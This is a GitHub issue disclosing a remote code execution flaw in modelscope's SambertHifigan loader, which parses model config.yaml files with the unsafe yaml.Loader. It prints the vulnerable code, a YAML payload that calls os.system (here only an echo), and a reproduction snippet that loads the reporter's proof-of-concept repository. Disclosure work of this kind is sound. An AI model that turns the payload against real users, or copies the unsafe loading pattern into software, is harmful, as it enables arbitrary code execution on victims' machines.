Skip to content

Remote code execution by loading remote SambertHifigan model repository #1540

@Vancir

Description

@Vancir

Describe the bug

Similar to #1538, but the bug occurs at a different location. Specifically, when users try to load the SambertHifigan model from the modelscope hub, the modelscope library retrieves and parses the config.yaml under the particular am and voc folders to initialize the Voice class.

class Voice:
    def __init__(self):
        self.am_config_path = os.path.join(voice_path, 'am', 'config.yaml')
        self.voc_config_path = os.path.join(voice_path, 'voc', 'config.yaml')

        with open(self.am_config_path, 'r') as f:
            self.am_config = yaml.load(f, Loader=yaml.Loader)
        with open(self.voc_config_path, 'r') as f:
            self.voc_config = yaml.load(f, Loader=yaml.Loader)

Attackers can craft the malicious YAML to achieve arbitrary code execution.

# above are benign YAML contents

payload: !!python/object/new:os.system ["echo '!!! Execute Malicious Payload !!!'"]

Then the payload will be executed silently without the user's awareness.

To Reproduce

I created two model repositories to demonstrate the remote code execution.

from modelscope.pipelines import pipeline
from modelscope.utils.constant import Tasks

model_id = "XManFromXlab/modelscope-SambertHifigan-RCE"
p = pipeline(task=Tasks.text_to_speech, model=model_id)

Metadata

Metadata

Labels

Type

No type
No fields configured for issues without a type.

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions